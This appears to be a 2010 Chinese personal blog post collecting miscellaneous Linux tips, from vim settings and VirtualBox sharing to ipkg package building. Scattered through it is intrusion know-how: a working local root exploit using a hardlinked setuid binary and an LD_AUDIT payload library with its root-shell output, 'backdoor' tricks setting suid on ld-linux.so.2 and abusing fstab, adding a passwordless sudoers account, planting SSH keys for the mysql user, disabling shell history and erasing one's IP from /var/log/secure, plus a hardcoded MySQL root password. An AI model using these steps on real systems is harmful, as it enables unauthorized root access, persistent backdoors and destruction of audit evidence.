2010年10月6日星期三

Linux技巧备忘帖

可以说是linux乱七八糟的集合。本站说linux的,就应该只有该贴了。免得混乱,乱就只让他乱在一个帖子上了。


suid/guid

suid意味着如果A用户对属于他自己的shell脚本文件设置了这种权限,那么其他用户在执行这个脚本的时候就拥有了A用户的权限。所以,如果 root用户对某一脚本设置了这一权限的话则其他用户执行该脚本的时候则拥有了root用户权限。同理,guid意味着执行相应脚本的用户则拥有了该文件所属用户组中用户的权限。

给文件加suid和sgid的命令如下:

chmod u+s filename 设置suid位

chmod u-s filename 去掉suid设置

chmod g+s filename 设置sgid位

chmod g-s filename 去掉sgid设置

find / -type f -perm /u+s -ls

-perm #按执行权限来查找

-type b/d/c/p/l/f #查是块设备、目录、字符设备、管道、符号链接、普通文件

公开的udev exploit有两个。一个是kcope写的SHELL版本一个是jon写的C版本

Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit


本地后门2法 xi4oyu

cd /lib
chmod +s ld-linux.so.2
/lib/ld-linux.so.2 `which whoami`

chmod a+w /etc/fstab
echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab
chown root.root setuid
chmod u+s setuid
mount test
cd /mnt

ssh的history处理

export HISTFILE=/dev/null 

ssh日志默认保存在 /var/log/secure文件里

编辑一下,清除掉我们IP操作的日志,保存即可.

mysql -uroot -p123456 -h172.16.1.190

python -c 'import pty; pty.spawn("/bin/sh")'

增加一个用户
useradd application
passwd // 根据提示设置密码
更改application用户运行su不需密码
chmod +w /etc/sudoers // 增加写入权限,默认只读 修改/etc/sudoers
vi /etc/sudoers
加入application ALL=(ALL) NOPASSWD: ALL

[root@sample ~]# su - centospub ← 登录为一般用户centospub
[centospub@sample ~]$ ssh-keygen -t rsa  ← 建立公钥与私钥
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kaz/.ssh/id_rsa):  ← 钥匙的文件名,这里保持默认直接回车
Created directory '/home/kaz/.ssh'
Enter passphrase (empty for no passphrase):  ← 输入口令
Enter same passphrase again:   ← 再次输入口令
Your identification has been saved in /home/kaz/.ssh/id_rsa.
Your public key has been saved in /home/kaz/.ssh/id_rsa.pub.
The key fingerprint is:
tf:rs:e3:7s:28:59:5s:93:fe:33:84:01:cj:65:3b:8e centospub@sample.centospub.com

[centospub@sample ~]$ cd ~/.ssh  ← 进入用户SSH配置文件的目录

[centospub@sample .ssh]$ ls -l  ← 列出文件
total 16
-rw------- 1 centospub centospub 951 Sep 4 19:22 id_rsa  ← 确认私钥已被建立
-rw-r--r-- 1 centospub centospub 241 Sep 4 19:22 id_rsa.pub  ← 确认公钥已被建立

[centospub@sample .ssh]$ cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys  ← 公钥内容输出到相应文件中

[centospub@sample .ssh]$ rm -f ~/.ssh/id_rsa.pub  ← 删除原来的公钥文件

[centospub@sample .ssh]$ chmod 400 ~/.ssh/authorized_keys  ← 将新建立的公钥文件属性设置为400

linux下的ssh客户端和windows下常用的plink的使用私钥格式是不一样的。所以windows下要用puttygen.exe去生成.

[root@19cn.com ~]# mkdir /var/lib/mysql/.ssh
[root@19cn.com ~]# chown mysql /var/lib/mysql/.ssh
[root@19cn.com ~]# chmod 700 /var/lib/mysql/.ssh
[root@19cn.com ~]# cat /home/httpd/sites/upload.keys >> /var/lib/mysql/.ssh/authorized_keys
[root@19cn.com ~]# chmod 600 /var/lib/mysql/.ssh/authorized_keys
[root@19cn.com ~]# chown mysql /var/lib/mysql/.ssh/authorized_keys

#!/bin/sh
rootfs_open -w
cd /media/internal/weboscn/
chown -R root ./*
cd control
chmod 777 ./*
tar czvf ../control.tar.gz ./
cd ../data
tar czvf ../data.tar.gz ./
cd ..
mv -f ./control.tar.gz ./ipk/
mv -f ./data.tar.gz ./ipk/
cd ipk
chown -R root ./*
chmod -R 755 ./*
ar cr ../wrap.ipk ./
cd ..

virtualbox guest ubuntu share

install Guest Additions.iso
sudo mkdir /mnt/shared
sudo mount -t vboxsf wshare /mnt/shared

某个exp

$ mkdir /tmp/exploit
$ ln /bin/ping /tmp/exploit/target
$ exec 3< /tmp/exploit/target
$ ls -l /proc/$$/fd/3
$ rm -rf /tmp/exploit/
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)

自己建立ipkg feed服务器
http://www.oesf.org/index.php?title=Setting_Up_A_Feed ipkg-make-index.sh
http://buffalo.nas-central.org/wiki/Construct_ipkg_packages_(for_developers)详细讲解
gzip -9c Packages > Packages.gz
control写法参考51pda

Package: cn.51pda.azy.51pda.palm
Version: 1.0.2
Depends:
Section: 51pda原创
Architecture: all
Priority: optional
Maintainer: azy
Size: 23184
Source: {"Source":"http://www.51pda.cn","Feed":"51pda.cn","Type":"51pda.cn","Category":"51pda\u539f\u521b","LastUpdated":1269089556,"Title":"\u624b\u673a\u5bfc\u822a","PostInstallFlags":"RestartLuna","PostRemoveFlags":"RestartLuna","FullDescription":"\u5220\u9664\u4ece\u6765\u4e0d\u4f7f\u7528\u7684Sprint\u7a0b\u5e8f\uff0c\u66ff\u6362\u4e3a\u624b\u673a\u5bfc\u822a\u9875\u9762\u3002","License":"GPL v2 Open Source"}
Description: 手机导航

连接godaddy的ftp需要用passive模式。ftp之后,运行passive

virtualbox的vdi硬盘增加容量。

新建一个大的vdi硬盘,然后从http://gparted.sourceforge.net/下载GParted LiveCD,启动这个live cd。dd if=/dev/hda of=/dev/hdb bs=512 count=1
然后格式化新硬盘,然后从旧硬盘copy到新硬盘,最后boot标志

该死的ubuntu9.10,vboxguestadditions.iso想要起作用,你必须sudo apt-get install dkms

C库(glibc)
glibc是个C库,几乎所有的应用程序都需要共享它提供的功能(除了kernel、bootload、和其它完全不用C库的功能代码),因此glibc的存在有利益小系统或嵌入系统缩减系统总代码尺寸与存放空间(尽管单个的glibc库是比较大的)。所以,最后的工作就是:构造ARM交叉编译系统的glibc库。

toolchain的建立
也可以从网上寻找已经测试过的版本组合,即binutils、gcc、glibc的版本组合。
binutils-2.11.2.tar.gz 包含有ld、ar、as等一些产生或者处理二进制文件的工具。
gcc-core-2.95.3.tar.gz 包含GCC的主体部分。
gcc-g++2.95.3.tar.gz 可以使GCC编译C++程序。
glibc-2.2.4.tar.gz libc是很多用户层应用都要用到的库,即C链接库。

安装语言包
sudo apt-get install language-support-zh

.vimrc编写指南
set nocp #该命令指定让 VIM 工作在不兼容模式下
set ru #该命令打开 VIM 的状态栏标尺。
set hls #搜索时高亮显示被找到的文本。
syntax on #打开关键字上色。
set backspace=indent,eol,start #字母删除问题
set whichwrap=b,s,<,>,[,] #光标跳转

sync把内存里的东西更新到硬盘上去
sysctl设置和显示在/proc/sys目录中的内核参数.能用sysctl来设置或重新设置连网功能,如IP转发、IP碎片去除及源路由检查等。用户只需要编辑/etc/sysctl.conf文件,即可手工或自动执行由sysctl控制的功能。

setprop 是设定 Android property 的命令
例如:
setprop ro.product.device dma6410xp
表示「ro.product.device = "dma6410xp"」的意思。Android 系统有非常多 property,这些 property 都是 Android 作业系统本身在使用的重要变数

 

find ./ -name ‘*.java’ -exec grep -i “ABCD” {} \; -print 在当前路径不区分大小写查找所有*.java的文件里面含有”ABCD”的内容行,并且print出来文件的路径

2 条评论:

  1. It agree, it is the remarkable information

    Greetings from the Speedy DNS

    回复删除
  2. find /web/htdocs -type f -name "*.php" |xargs grep "eval(" > /tmp/test.txt

    回复删除